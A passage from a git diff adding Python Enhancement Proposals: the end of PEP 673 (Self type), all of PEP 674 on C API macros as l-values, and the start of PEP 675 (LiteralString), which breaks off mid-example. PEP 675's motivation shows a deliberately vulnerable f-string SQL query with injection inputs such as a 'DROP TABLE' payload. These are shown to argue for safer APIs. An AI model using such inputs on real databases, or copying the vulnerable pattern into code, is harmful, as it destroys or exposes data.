Bar(Generic[T]): + def bar(self) -> T: ... + + class Baz(Bar[Self]): ... # Rejected + +We reject type aliases containing ``Self``. Supporting ``Self`` +outside class definitions can require a lot of special-handling in +type checkers. Given that it also goes against the rest of the PEP to +use ``Self`` outside a class definition, we believe the added +convenience of aliases is not worth it: + +:: + + TupleSelf = Tuple[Self, Self] # Rejected + + class Alias: + def return_tuple(self) -> TupleSelf: # Rejected + return (self, self) + +Note that we reject ``Self`` in staticmethods. ``Self`` does not add much +value since there is no ``self`` or ``cls`` to return. The only possible use +cases would be to return a parameter itself or some element from a container +passed in as a parameter. These don’t seem worth the additional complexity. + +:: + + class Base: + @staticmethod + def make() -> Self: # Rejected + ... + + @staticmethod + def return_parameter(foo: Self) -> Self: # Rejected + ... + +Likewise, we reject ``Self`` in metaclasses. ``Self`` in this PEP consistently +refers to the same type (that of ``self``). But in metaclasses, it would have +to refer to different types in different method signatures. For example, in +``__mul__``, ``Self`` in the return type would refer to the implementing class +``Foo``, not the enclosing class ``MyMetaclass``. But, in ``__new__``, ``Self`` +in the return type would refer to the enclosing class ``MyMetaclass``. To +avoid confusion, we reject this edge case. + +:: + + class MyMetaclass(type): + def __new__(cls, *args: Any) -> Self: # Rejected + return super().__new__(cls, *args) + + def __mul__(cls, count: int) -> list[Self]: # Rejected + return [cls()] * count + + class Foo(metaclass=MyMetaclass): ... + + +Runtime behavior +================ + +Because ``Self`` is not subscriptable, we propose an implementation similar to +``typing.NoReturn``. + +:: + + @_SpecialForm + def Self(self, params): + """Used to spell the type of "self" in classes. + + Example:: + + from typing import Self + + class ReturnsSelf: + def parse(self, data: bytes) -> Self: + ... + return self + + """ + raise TypeError(f"{self} is not subscriptable") + + +Rejected Alternatives +===================== + +Allow the Type Checker to Infer the Return Type +----------------------------------------------- + +One proposal is to leave the ``Self`` type implicit and let the type checker +infer from the body of the method that the return type must be the same as the +type of the ``self`` parameter: + +:: + + class Shape: + def set_scale(self, scale: float): + self.scale = scale + return self # Type checker infers that we are returning self + +We reject this because Explicit Is Better Than Implicit. Beyond that, the +above approach will fail for type stubs, which don’t have method bodies to +analyze. + + +Reference Implementations +========================= + +Mypy: Proof of concept implementation in `Mypy +`_. + +Pyright: v1.1.184 + +Runtime implementation of ``Self``: `PR +`_. + +Resources +========= + +Similar discussions on a ``Self`` type in Python started in Mypy around 2016: +`Mypy issue #1212 `_ - SelfType or +another way to spell "type of self". However, the approach ultimately taken +there was the bounded ``TypeVar`` approach shown in our "before" examples. +Other issues that discuss this include `Mypy issue #2354 +`_ - Self types in generic +classes. + +Pradeep made a concrete proposal at the PyCon Typing Summit 2021: + `recorded talk `_, `slides + `_. + +James brought up the proposal independently on typing-sig: +`Typing-sig thread `_. + +Other languages have similar ways to express the type of the enclosing class: + ++ TypeScript has the ``this`` type (`TypeScript docs + `_) ++ Rust has the ``Self`` type (`Rust docs + `_) + +Thanks to the following people for their feedback on the PEP: + +Jia Chen, Rebecca Chen, Sergei Lebedev, Kaylynn Morgan, Tuomas +Suutari, Eric Traut, Alex Waygood, Shannon Zhu, and Никита Соболев + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0674.rst b/pep-0674.rst new file mode 100644 index 00000000000..99e54873701 --- /dev/null +++ b/pep-0674.rst @@ -0,0 +1,538 @@ +PEP: 674 +Title: Disallow using macros as l-values +Author: Victor Stinner +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Created: 30-Nov-2021 +Python-Version: 3.11 + +Abstract +======== + +Disallow using macros as l-values. For example, +``Py_TYPE(obj) = new_type`` now fails with a compiler error. + +In practice, the majority of affected projects only have to make two +changes: + +* Replace ``Py_TYPE(obj) = new_type`` + with ``Py_SET_TYPE(obj, new_type)``. +* Replace ``Py_SIZE(obj) = new_size`` + with ``Py_SET_SIZE(obj, new_size)``. + + +Rationale +========= + +Using a macro as a an l-value +----------------------------- + +In the Python C API, some functions are implemented as macro because +writing a macro is simpler than writing a regular function. If a macro +exposes directly a structure member, it is technically possible to use +this macro to not only get the structure member but also set it. + +Example with the Python 3.10 ``Py_TYPE()`` macro:: + + #define Py_TYPE(ob) (((PyObject *)(ob))->ob_type) + +This macro can be used as a **r-value** to **get** an object type:: + + type = Py_TYPE(object); + +It can also be used as an **l-value** to **set** an object type:: + + Py_TYPE(object) = new_type; + +It is also possible to set an object reference count and an object size +using ``Py_REFCNT()`` and ``Py_SIZE()`` macros. + +Setting directly an object attribute relies on the current exact CPython +implementation. Implementing this feature in other Python +implementations can make their C API implementation less efficient. + +CPython nogil fork +------------------ + +Sam Gross forked Python 3.9 to remove the GIL: the `nogil branch +`_. This fork has no +``PyObject.ob_refcnt`` member, but a more elaborated implementation for +reference counting, and so the ``Py_REFCNT(obj) = new_refcnt;`` code +fails with a compiler error. + +Merging the nogil fork into the upstream CPython main branch requires +first to fix this C API compatibility issue. It is a concrete example of +a Python optimization blocked indirectly by the C API. + +This issue was already fixed in Python 3.10: the ``Py_REFCNT()`` macro +has been already modified to disallow using it as an l-value. + +These statements are endorsed by Sam Gross (nogil developer). + +HPy project +----------- + +The `HPy project `_ is a brand new C API for +Python using only handles and function calls: handles are opaque, +structure members cannot be accessed directly, and pointers cannot be +dereferenced. + +Searching and replacing ``Py_SET_SIZE()`` is easier and safer than +searching and replacing some strange macro uses of ``Py_SIZE()``. +``Py_SIZE()`` can be semi-mechanically replaced by ``HPy_Length()``, +whereas seeing ``Py_SET_SIZE()`` would immediately make clear that the +code needs bigger changes in order to be ported to HPy (for example by +using ``HPyTupleBuilder`` or ``HPyListBuilder``). + +The fewer internal details exposed via macros, the easier it will be for +HPy to provide direct equivalents. Any macro that references +"non-public" interfaces effectively exposes those interfaces publicly. + +These statements are endorsed by Antonio Cuni (HPy developer). + +GraalVM Python +-------------- + +In GraalVM, when a Python object is accessed by the Python C API, the C API +emulation layer has to wrap the GraalVM objects into wrappers that expose +the internal structure of the CPython structures (PyObject, PyLongObject, +PyTypeObject, etc). This is because when the C code accesses it directly or via +macros, all GraalVM can intercept is a read at the struct offset, which has +to be mapped back to the representation in GraalVM. The smaller the +"effective" number of exposed struct members (by replacing macros with +functions), the simpler GraalVM wrappers can be. + +This PEP alone is not enough to get rid of the wrappers in GraalVM, but it +is a step towards this long term goal. GraalVM already supports HPy which is a better +solution in the long term. + +These statements are endorsed by Tim Felgentreff (GraalVM Python developer). + +Specification +============= + +Disallow using macros as l-values +---------------------------------- + +The following 65 macros are modified to disallow using them as l-values. + +PyObject and PyVarObject macros +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +* ``Py_TYPE()``: ``Py_SET_TYPE()`` must be used instead +* ``Py_SIZE()``: ``Py_SET_SIZE()`` must be used instead + +GET macros +^^^^^^^^^^ + +* ``PyByteArray_GET_SIZE()`` +* ``PyBytes_GET_SIZE()`` +* ``PyCFunction_GET_CLASS()`` +* ``PyCFunction_GET_FLAGS()`` +* ``PyCFunction_GET_FUNCTION()`` +* ``PyCFunction_GET_SELF()`` +* ``PyCell_GET()`` +* ``PyCode_GetNumFree()`` +* ``PyDict_GET_SIZE()`` +* ``PyFunction_GET_ANNOTATIONS()`` +* ``PyFunction_GET_CLOSURE()`` +* ``PyFunction_GET_CODE()`` +* ``PyFunction_GET_DEFAULTS()`` +* ``PyFunction_GET_GLOBALS()`` +* ``PyFunction_GET_KW_DEFAULTS()`` +* ``PyFunction_GET_MODULE()`` +* ``PyHeapType_GET_MEMBERS()`` +* ``PyInstanceMethod_GET_FUNCTION()`` +* ``PyList_GET_SIZE()`` +* ``PyMemoryView_GET_BASE()`` +* ``PyMemoryView_GET_BUFFER()`` +* ``PyMethod_GET_FUNCTION()`` +* ``PyMethod_GET_SELF()`` +* ``PySet_GET_SIZE()`` +* ``PyTuple_GET_SIZE()`` +* ``PyUnicode_GET_DATA_SIZE()`` +* ``PyUnicode_GET_LENGTH()`` +* ``PyUnicode_GET_LENGTH()`` +* ``PyUnicode_GET_SIZE()`` +* ``PyWeakref_GET_OBJECT()`` + +AS macros +^^^^^^^^^ + +* ``PyByteArray_AS_STRING()`` +* ``PyBytes_AS_STRING()`` +* ``PyFloat_AS_DOUBLE()`` +* ``PyUnicode_AS_DATA()`` +* ``PyUnicode_AS_UNICODE()`` + +PyUnicode macros +^^^^^^^^^^^^^^^^ + +* ``PyUnicode_1BYTE_DATA()`` +* ``PyUnicode_2BYTE_DATA()`` +* ``PyUnicode_4BYTE_DATA()`` +* ``PyUnicode_DATA()`` +* ``PyUnicode_IS_ASCII()`` +* ``PyUnicode_IS_COMPACT()`` +* ``PyUnicode_IS_READY()`` +* ``PyUnicode_KIND()`` +* ``PyUnicode_READ()`` +* ``PyUnicode_READ_CHAR()`` + +PyDateTime GET macros +^^^^^^^^^^^^^^^^^^^^^ + +* ``PyDateTime_DATE_GET_FOLD()`` +* ``PyDateTime_DATE_GET_HOUR()`` +* ``PyDateTime_DATE_GET_MICROSECOND()`` +* ``PyDateTime_DATE_GET_MINUTE()`` +* ``PyDateTime_DATE_GET_SECOND()`` +* ``PyDateTime_DATE_GET_TZINFO()`` +* ``PyDateTime_DELTA_GET_DAYS()`` +* ``PyDateTime_DELTA_GET_MICROSECONDS()`` +* ``PyDateTime_DELTA_GET_SECONDS()`` +* ``PyDateTime_GET_DAY()`` +* ``PyDateTime_GET_MONTH()`` +* ``PyDateTime_GET_YEAR()`` +* ``PyDateTime_TIME_GET_FOLD()`` +* ``PyDateTime_TIME_GET_HOUR()`` +* ``PyDateTime_TIME_GET_MICROSECOND()`` +* ``PyDateTime_TIME_GET_MINUTE()`` +* ``PyDateTime_TIME_GET_SECOND()`` +* ``PyDateTime_TIME_GET_TZINFO()`` + +Port C extensions to Python 3.11 +-------------------------------- + +In practice, the majority of projects affected by these PEP only have to +make two changes: + +* Replace ``Py_TYPE(obj) = new_type`` + with ``Py_SET_TYPE(obj, new_type)``. +* Replace ``Py_SIZE(obj) = new_size`` + with ``Py_SET_SIZE(obj, new_size)``. + +The `pythoncapi_compat project +`_ can be used to +update automatically C extensions: add Python 3.11 support without +losing support with older Python versions. The project provides a header +file which provides ``Py_SET_REFCNT()``, ``Py_SET_TYPE()`` and +``Py_SET_SIZE()`` functions to Python 3.8 and older. + +PyTuple_GET_ITEM() and PyList_GET_ITEM() are left unchanged +----------------------------------------------------------- + +The ``PyTuple_GET_ITEM()`` and ``PyList_GET_ITEM()`` macros are left +unchanged. + +The code patterns ``&PyTuple_GET_ITEM(tuple, 0)`` and +``&PyList_GET_ITEM(list, 0)`` are still commonly used to get access to +the inner ``PyObject**`` array. + +Changing these macros is out of the scope of this PEP. + +PyDescr_NAME() and PyDescr_TYPE() are left unchanged +---------------------------------------------------- + +The ``PyDescr_NAME()`` and ``PyDescr_TYPE()`` macros are left unchanged. + +These macros give access to ``PyDescrObject.d_name`` and +``PyDescrObject.d_type`` members. They can be used as l-values to set +these members. + +The SWIG project uses these macros as l-values to set these members. It +would be possible to modify SWIG to prevent setting ``PyDescrObject`` +structure members directly, but it is not really worth it since the +``PyDescrObject`` structure is not performance critical and is unlikely +to change soon. + +See the `bpo-46538 `_ "[C API] Make +the PyDescrObject structure opaque: PyDescr_NAME() and PyDescr_TYPE()" +issue for more details. + + +Implementation +============== + +The implementation is tracked by `bpo-45476: [C API] PEP 674: Disallow +using macros as l-values `_. + +Py_TYPE() and Py_SIZE() macros +------------------------------ + +In May 2020, the ``Py_TYPE()`` and ``Py_SIZE()`` macros have been +modified to disallow using them as l-values (`Py_TYPE +`_, +`Py_SIZE +`_). + +In November 2020, the change was `reverted +`__, +since it broke too many third party projects. + +In June 2021, once most third party projects were updated, a `second +attempt +`_ +was done, but had to be `reverted again +`__ +, since it broke test_exceptions on Windows. + +In September 2021, once `test_exceptions has been fixed +`_, +Py_TYPE() and Py_SIZE() were finally `changed +`_. + +In November 2021, this backward incompatible change got a +`Steering Council exception +`_. + + +Backwards Compatibility +======================= + +The proposed C API changes are backward incompatible on purpose. + +In practice, only ``Py_TYPE()`` and ``Py_SIZE()`` macros are used as +l-values. + +This change does not follow the :pep:`387` deprecation process. There is +no known way to emit a deprecation warning only when a macro is used as +an l-value, but not when it's used differently (ex: as a r-value). + +The following 4 macros are left unchanged to reduce the number of +affected projects: ``PyDescr_NAME()``, ``PyDescr_TYPE()``, +``PyList_GET_ITEM()`` and ``PyTuple_GET_ITEM()``. + +Statistics +---------- + +In total (projects on PyPI and not on PyPI), 41 projects are known to be +affected by this PEP: + +* 14 projects (34%) are already fixed +* 27 projects (66%) are not fixed yet + (pending fix or generated Cython code) + +On January 27, 2022, the PEP affects 27 projects (0.5%) of the top 5000 +PyPI projects: + +* 22 projects (0.4%) have to regenerate their Cython code +* 5 projects (0.1%) have a pending fix + +Top 5000 PyPI +------------- + +Projects with a pending fix (5): + +* datatable (1.0.0): + `pending PR `__ +* guppy3 (3.1.2): + `fixed `__ +* python-snappy (0.6.0): + `fixed `__ +* recordclass (0.17.1): + `fixed `__ +* scipy (1.7.3): fixed (need to update boost) + +Moreover, 22 projects have to regenerate their Cython code. + +Projects released with a fix (10): + +* bitarray (1.6.2): + `commit `__ +* Cython (0.29.20): `commit `__ +* immutables (0.15): + `commit `__ +* mercurial (5.7): + `commit `__, + `bug report `__ +* mypy (v0.930): + `commit `__ +* numpy (1.22.1): + `commit `__, + `commit 2 `__ +* pycurl (7.44.1): + `commit `__ +* PyGObject (3.42.0) +* pyside2 (5.15.1): + `bug report `__ +* zstd (1.5.0.3): + `commit `__ + +There are also two backport projects which are affected by this PEP: + +* pickle5 (0.0.12): backport for Python <= 3.7 +* pysha3 (1.0.2): backport for Python <= 3.5 + +They must not be used and cannot be used on Python 3.11. + +Other affected projects +----------------------- + +Other projects released with a fix (4): + +* boost (1.78.0): + `commit `__ +* breezy (3.2.1): + `bug report `__ +* duplicity (0.8.18): + `commit `__ +* gobject-introspection (1.70.0): + `MR `__ + + +Relationship with the HPy project +================================= + +The HPy project +--------------- + +The hope with the HPy project is to provide a C API that is close +to the original API—to make porting easy—and have it perform as close to +the existing API as possible. At the same time, HPy is sufficently +removed to be a good "C extension API" (as opposed to a stable subset of +the CPython implementation API) that does not leak implementation +details. To ensure this latter property, the HPy project tries to +develop everything in parallel for CPython, PyPy, and GraalVM Python. + +HPy is still evolving very fast. Issues are still being solved while +migrating NumPy, and work has begun on adding support for HPy to Cython. Work on +pybind11 is starting soon. Tim Felgentreff believes by the time HPy has +these users of the existing C API working, HPy should be in a state +where it is generally useful and can be deemed stable enough that +further development can follow a more stable process. + +In the long run the HPy project would like to become a promoted API to +write Python C extensions. + +The HPy project is a good solution for the long term. It has the +advantage of being developed outside Python and it doesn't require any C +API change. + +The C API is here is stay for a few more years +---------------------------------------------- + +The first concern about HPy is that right now, HPy is not mature nor +widely used, and CPython still has to continue supporting a large amount +of C extensions which are not likely to be ported to HPy soon. + +The second concern is the inability to evolve CPython internals to +implement new optimizations, and the inefficient implementation of the +current C API in PyPy, GraalPython, etc. Sadly, HPy will only solve +these problems when most C extensions will be fully ported to HPy: +when it will become reasonable to consider dropping the "legacy" Python +C API. + +While porting a C extension to HPy can be done incrementally on CPython, +it requires to modify a lot of code and takes time. Porting most C +extensions to HPy is expected to take a few years. + +This PEP proposes to make the C API "less bad" by fixing one problem +which is clearily identified as causing practical issues: macros used as +l-values. This PEP only requires updating a minority of C +extensions, and usually only a few lines need to be changed in impacted +extensions. + +For example, NumPy 1.22 is made of 307,300 lines of C code, and adapting +NumPy to the this PEP only modified 11 lines (use Py_SET_TYPE and +Py_SET_SIZE) and adding 4 lines (to define Py_SET_TYPE and Py_SET_SIZE +for Python 3.8 and older). The beginnings of the NumPy port to HPy +already required modifying more lines than that. + +Right now, it's hard to bet which approach is the best: fixing the +current C API, or focusing on HPy. It would be risky to only focus on +HPy. + + +Rejected Idea: Leave the macros as they are +=========================================== + +The documentation of each function can discourage developers to use +macros to modify Python objects. + +If these is a need to make an assignment, a setter function can be added +and the macro documentation can require to use the setter function. For +example, a ``Py_SET_TYPE()`` function has been added to Python 3.9 and +the ``Py_TYPE()`` documentation now requires to use the +``Py_SET_TYPE()`` function to set an object type. + +If developers use macros as an l-value, it's their responsibility when +their code breaks, not Python's responsibility. We are operating under +the consenting adults principle: we expect users of the Python C API to +use it as documented and expect them to take care of the fallout, if +things break when they don't. + +This idea was rejected because only few developers read the +documentation, and only a minority is tracking changes of the Python C +API documentation. The majority of developers are only using CPython and +so are not aware of compatibility issues with other Python +implementations. + +Moreover, continuing to allow using macros as an l-value does not help +the HPy project, and leaves the burden of emulating them on GraalVM's +Python implementation. + + +Macros already modified +======================= + +The following C API macros have already been modified to disallow using +them as l-value: + +* ``PyCell_SET()`` +* ``PyList_SET_ITEM()`` +* ``PyTuple_SET_ITEM()`` +* ``Py_REFCNT()`` (Python 3.10): ``Py_SET_REFCNT()`` must be used +* ``_PyGCHead_SET_FINALIZED()`` +* ``_PyGCHead_SET_NEXT()`` +* ``asdl_seq_GET()`` +* ``asdl_seq_GET_UNTYPED()`` +* ``asdl_seq_LEN()`` +* ``asdl_seq_SET()`` +* ``asdl_seq_SET_UNTYPED()`` + +For example, ``PyList_SET_ITEM(list, 0, item) < 0`` now fails with a +compiler error as expected. + + +Discussion +========== + +* `PEP 674: Disallow using macros as l-value (version 2) + `_ + (Jan 18, 2022) +* `PEP 674: Disallow using macros as l-value + `_ + (Nov 30, 2021) + + +References +========== + +* `Python C API: Add functions to access PyObject + `_ (October + 2021) article by Victor Stinner +* `[capi-sig] Py_TYPE() and Py_SIZE() become static inline functions + `_ + (September 2021) +* `[C API] Avoid accessing PyObject and PyVarObject members directly: add Py_SET_TYPE() and Py_IS_TYPE(), disallow Py_TYPE(obj)=type + `__ (February 2020) +* `bpo-30459: PyList_SET_ITEM could be safer + `_ (May 2017) + + +Version History +=============== + +* Version 3: No longer change PyDescr_TYPE() and PyDescr_NAME() macros +* Version 2: Add "Relationship with the HPy project" section, remove + the PyPy section +* Version 1: First public version + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0675.rst b/pep-0675.rst new file mode 100644 index 00000000000..a021dd81fd5 --- /dev/null +++ b/pep-0675.rst @@ -0,0 +1,1319 @@ +PEP: 675 +Title: Arbitrary Literal String Type +Version: $Revision$ +Last-Modified: $Date$ +Author: Pradeep Kumar Srinivasan , Graham Bleaney +Sponsor: Jelle Zijlstra +Discussions-To: https://mail.python.org/archives/list/typing-sig@python.org/thread/VB74EHNM4RODDFM64NEEEBJQVAUAWIAW/ +Status: Accepted +Type: Standards Track +Content-Type: text/x-rst +Created: 30-Nov-2021 +Python-Version: 3.11 +Post-History: 07-Feb-2022 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/XEOOSSPNYPGZ5NXOJFPLXG2BTN7EVRT5/ + +Abstract +======== + +There is currently no way to specify, using type annotations, that a +function parameter can be of any literal string type. We have to +specify a precise literal string type, such as +``Literal["foo"]``. This PEP introduces a supertype of literal string +types: ``LiteralString``. This allows a function to accept arbitrary +literal string types, such as ``Literal["foo"]`` or +``Literal["bar"]``. + + +Motivation +========== + +Powerful APIs that execute SQL or shell commands often recommend that +they be invoked with literal strings, rather than arbitrary user +controlled strings. There is no way to express this recommendation in +the type system, however, meaning security vulnerabilities sometimes +occur when developers fail to follow it. For example, a naive way to +look up a user record from a database is to accept a user id and +insert it into a predefined SQL query: + +:: + + def query_user(conn: Connection, user_id: str) -> User: + query = f"SELECT * FROM data WHERE user_id = {user_id}" + conn.execute(query) + + query_user(conn, "user123") # OK. + +However, the user-controlled data ``user_id`` is being mixed with the +SQL command string, which means a malicious user could run arbitrary +SQL commands: + +:: + + # Delete the table. + query_user(conn, "user123; DROP TABLE data;") + + # Fetch all users (since 1 = 1 is always true). + query_user(conn, "user123 OR 1 = 1") + + +To prevent such SQL injection attacks, SQL APIs offer parameterized +queries, which separate the executed query from user-controlled data +and make it impossible to run arbitrary queries. For example, with +`sqlite3 `_, our +original function would be written safely as a query with parameters: + +:: + + def query_user(conn: Connection, user_id: str) -> User: + query = "SELECT * FROM data WHERE user_id = ?" + conn.execute(query, (user_id,)) + + +The problem is that there is no way to enforce this +discipline. sqlite3's own `documentation +`_ can only admonish +the reader to not dynamically build the ``sql`` argument from external +input; the API's authors cannot express that through the type +system. Users can (and often do) still use a convenient f-string as +before and leave their code vulnerable to SQL injection. + +Existing tools, such as the popular security linter `Bandit +`_, +attempt to detect unsafe external data used in SQL APIs, by inspecting +the AST or by other semantic pattern-matching. These tools, however, +preclude common idioms like storing a large multi-line query in a +variable before executing it, adding literal string modifiers to the +query based on some conditions, or transforming the query string using +a function. (We survey existing tools in the `Rejected Alternatives`_ +section.) For example, many tools will detect a false positive issue +in this benign snippet: + + +:: + + def query_data(conn: Connection, user_id: str, limit: bool) -> None: + query = """ + SELECT + user.name, + user.age + FROM data + WHERE user_id = ? + """ + if limit: + query += " LIMIT 1" + + conn.execute(query, (user_id,)) + +We want to forbid harmful execution of user-controlled data while +still allowing benign idioms like the above and not requiring extra +user work. + +To meet this goal, we introduce the ``LiteralString`` type, which only +accepts string values that are known to be made of literals. This is a +generalization of the ``Literal["foo"]`` type from :pep:`586`. +A string of type +``LiteralString`` cannot contain user-controlled data. Thus, any API +that only accepts ``LiteralString`` will be immune to injection +vulnerabilities (with `pragmatic limitations `_). + +Since we want the ``sqlite3`` ``execute`` method to disallow strings +built with user input, we would make its `typeshed stub +`_ +accept a ``sql`` query that is of type ``LiteralString``: + +:: + + from typing import LiteralString + + def execute(self, sql: LiteralString, parameters: Iterable[str] = ...) -> Cursor: ... + + +This successfully forbids our unsafe SQL example. The variable +``query`` below is inferred to have type ``str``, since it is created +from a format string using ``user_id``, and cannot be passed to +``execute``: + +:: + + def query_user(conn: Connection, user_id: str) -> User: + query = f"SELECT * FROM data WHERE user_id = {user_id}" + conn.execute(query) + # Error: Expected LiteralString, got str. + +The method remains flexible enough to allow our more complicated +example: + +:: + + def query_data(conn: Connection, user_id: str, limit: bool) -> None: + # This is a literal string. + query = """ + SELECT + user.name, + user.age + FROM data + WHERE user_id = ? + """ + + if limit: + # Still has type LiteralString because we added a literal string. + query += " LIMIT 1" + + conn.execute(query, (user_id,)) # OK + +Notice that the user did not have to change their SQL code at all. The +type checker was able to infer the literal string type and complain +only in case of violations. + +``LiteralString`` is also useful in other cases where we want strict +command-data separation, such as when building shell commands or when +rendering a string into an HTML response without escaping (see +`Appendix A: Other Uses`_). Overall, this combination of strictness +and flexibility makes it easy to enforce safer API usage in sensitive +code without burdening users. + +Usage statistics +---------------- + +In a sample of open-source projects using ``sqlite3``, we found that +``conn.execute`` was called `~67% of the time +`_ +with a safe string literal and `~33% of the time +`_ +with a potentially unsafe, local string variable. Using this PEP's +literal string type along with a type checker would prevent the unsafe +portion of that 33% of cases (ie. the ones where user controlled data +is incorporated into the query), while seamlessly allowing the safe +ones to remain. + +Rationale +========= + +Firstly, why use *types* to prevent security vulnerabilities? + +Warning users in documentation is insufficient - most users either +never see these warnings or ignore them. Using an existing dynamic or +static analysis approach is too restrictive - these prevent natural +idioms, as we saw in the `Motivation`_ section (and will discuss more +extensively in the `Rejected Alternatives`_ section). The typing-based +approach in this PEP strikes a user-friendly balance between +strictness and flexibility. + +Runtime approaches do not work because, at runtime, the query string +is a plain ``str``. While we could prevent some exploits using +heuristics, such as regex-filtering for obviously malicious payloads, +there will always be a way to work around them (perfectly +distinguishing good and bad queries reduces to the halting problem). + +Static approaches, such as checking the AST to see if the query string +is a literal string expression, cannot tell when a string is assigned +to an intermediate variable or when it is transformed by a benign +function. This makes them overly restrictive. + +The type checker, surprisingly, does better than both because it has +access to information not available in the runtime or static analysis +approaches. Specifically, the type checker can tell us whether an +expression has a literal string type, say ``Literal["foo"]``. The type +checker already propagates types across variable assignments or +function calls. + +In the current type system itself, if the SQL or shell command +execution function only accepted three possible input strings, our job +would be done. We would just say: + +:: + + def execute(query: Literal["foo", "bar", "baz"]) -> None: ... + +But, of course, ``execute`` can accept *any* possible query. How do we +ensure that the query does not contain an arbitrary, user-controlled +string? + +We want to specify that the value must be of some type +``Literal[<...>]`` where ``<...>`` is some string. This is what +``LiteralString`` represents. ``LiteralString`` is the "supertype" of +all literal string types. In effect, this PEP just introduces a type +in the type hierarchy between ``Literal["foo"]`` and ``str``. Any +particular literal string, such as ``Literal["foo"]`` or +``Literal["bar"]``, is compatible with ``LiteralString``, but not the +other way around. The "supertype" of ``LiteralString`` itself is +``str``. So, ``LiteralString`` is compatible with ``str``, but not the +other way around. + +Note that a ``Union`` of literal types is naturally compatible with +``LiteralString`` because each element of the ``Union`` is individually +compatible with ``LiteralString``. So, ``Literal["foo", "bar"]`` is +compatible with ``LiteralString``. + +However, recall that we don't just want to represent exact literal +queries. We also want to support composition of two literal strings, +such as ``query + " LIMIT 1"``. This too is possible with the above +concept. If ``x`` and ``y`` are two values of type ``LiteralString``, +then ``x + y`` will also be of type compatible with +``LiteralString``. We can reason about this by looking at specific +instances such as ``Literal["foo"]`` and ``Literal["bar"]``; the value +of the added string ``x + y`` can only be ``"foobar"``, which has type +``Literal["foobar"]`` and is thus compatible with +``LiteralString``. The same reasoning applies when ``x`` and ``y`` are +unions of literal types; the result of pairwise adding any two literal +types from ``x`` and ``y`` respectively is a literal type, which means +that the overall result is a ``Union`` of literal types and is thus +compatible with ``LiteralString``. + +In this way, we are able to leverage Python's concept of a ``Literal`` +string type to specify that our API can only accept strings that are +known to be constructed from literals. More specific details follow in +the remaining sections. + +Specification +============= + + +Runtime Behavior +---------------- + +We propose adding ``LiteralString`` to ``typing.py``, with an +implementation similar to ``typing.NoReturn``. + +Note that ``LiteralString`` is a special form used solely for type +checking. There is no expression for which ``type()`` will +produce ``LiteralString`` at runtime. So, we do not specify in the +implementation that it is a subclass of ``str``. + + +Valid Locations for ``LiteralString`` +----------------------------------------- + +``LiteralString`` can be used where any other type can be used: + +:: + + variable_annotation: LiteralString + + def my_function(literal_string: LiteralString) -> LiteralString: ... + + class Foo: + my_attribute: LiteralString + + type_argument: List[LiteralString] + + T = TypeVar("T", bound=LiteralString) + +It cannot be nested within unions of ``Literal`` types: + +:: + + bad_union: Literal["hello", LiteralString] # Not OK + bad_nesting: Literal[LiteralString] # Not OK + + +Type Inference +-------------- + +.. _inferring_literal_string: + + +Inferring ``LiteralString`` +''''''''''''''''''''''''''' + +Any literal string type is compatible with ``LiteralString``. For +example, ``x: LiteralString = "foo"`` is valid because ``"foo"`` is +inferred to be of type ``Literal["foo"]``. + +As per the `Rationale`_, we also infer ``LiteralString`` in the +following cases: + ++ Addition: ``x + y`` is of type ``LiteralString`` if both ``x`` and + ``y`` are compatible with ``LiteralString``. + ++ Joining: ``sep.join(xs)`` is of type ``LiteralString`` if ``sep``'s + type is compatible with ``LiteralString`` and ``xs``'s type is + compatible with ``Iterable[LiteralString]``. + ++ In-place addition: If ``s`` has type ``LiteralString`` and ``x`` has + type compatible with ``LiteralString``, then ``s += x`` preserves + ``s``'s type as ``LiteralString``. + ++ String formatting: An f-string has type ``LiteralString`` if and only + if its constituent expressions are literal strings. ``s.format(...)`` + has type ``LiteralString`` if and only if ``s`` and the arguments have + types compatible with ``LiteralString``. + ++ Literal-preserving methods: In `Appendix C `_, we have + provided an exhaustive list of ``str`` methods that preserve the + ``LiteralString`` type. + +In all other cases, if one or more of the composed values has a +non-literal type ``str``, the composition of types will have type +``str``. For example, if ``s`` has type ``str``, then ``"hello" + s`` +has type ``str``. This matches the pre-existing behavior of type +checkers. + +``LiteralString`` is compatible with the type ``str``. It inherits all +methods from ``str``. So, if we have a variable ``s`` of type +``LiteralString``, it is safe to write ``s.startswith("hello")``. + +Some type checkers refine the type of a string when doing an equality +check: + +:: + + def foo(s: str) -> None: + if s == "bar": + reveal_type(s) # => Literal["bar"] + +Such a refined type in the if-block is also compatible with +``LiteralString`` because its type is ``Literal["bar"]``. + + +Examples +'''''''' + +See the examples below to help clarify the above rules: + +:: + + + literal_string: LiteralString + s: str = literal_string # OK + + literal_string: LiteralString = s # Error: Expected LiteralString, got str. + literal_string: LiteralString = "hello" # OK + +Addition of literal strings: + +:: + + def expect_literal_string(s: LiteralString) -> None: ... + + expect_literal_string("foo" + "bar") # OK + expect_literal_string(literal_string + "bar") # OK + + literal_string2: LiteralString + expect_literal_string(literal_string + literal_string2) # OK + + plain_string: str + expect_literal_string(literal_string + plain_string) # Not OK. + +Join using literal strings: + +:: + + expect_literal_string(",".join(["foo", "bar"])) # OK + expect_literal_string(literal_string.join(["foo", "bar"])) # OK + expect_literal_string(literal_string.join([literal_string, literal_string2])) # OK + + xs: List[LiteralString] + expect_literal_string(literal_string.join(xs)) # OK + expect_literal_string(plain_string.join([literal_string, literal_string2])) + # Not OK because the separator has type 'str'. + +In-place addition using literal strings: + +:: + + literal_string += "foo" # OK + literal_string += literal_string2 # OK + literal_string += plain_string # Not OK + +Format strings using literal strings: + +:: + + literal_name: LiteralString + expect_literal_string(f"hello {literal_name}") + # OK because it is composed from literal strings. + + expect_literal_string("hello {}".format(literal_name)) # OK + + expect_literal_string(f"hello") # OK + + username: str + expect_literal_string(f"hello {username}") + # NOT OK. The format-string is constructed from 'username', + # which has type 'str'. + + expect_literal_string("hello {}".format(username)) # Not OK + +Other literal types, such as literal integers, are not compatible with ``LiteralString``: + +:: + + some_int: int + expect_literal_string(some_int) # Error: Expected LiteralString, got int. + + literal_one: Literal[1] = 1 + expect_literal_string(literal_one) # Error: Expected LiteralString, got Literal[1]. + + +We can call functions on literal strings: + +:: + + def add_limit(query: 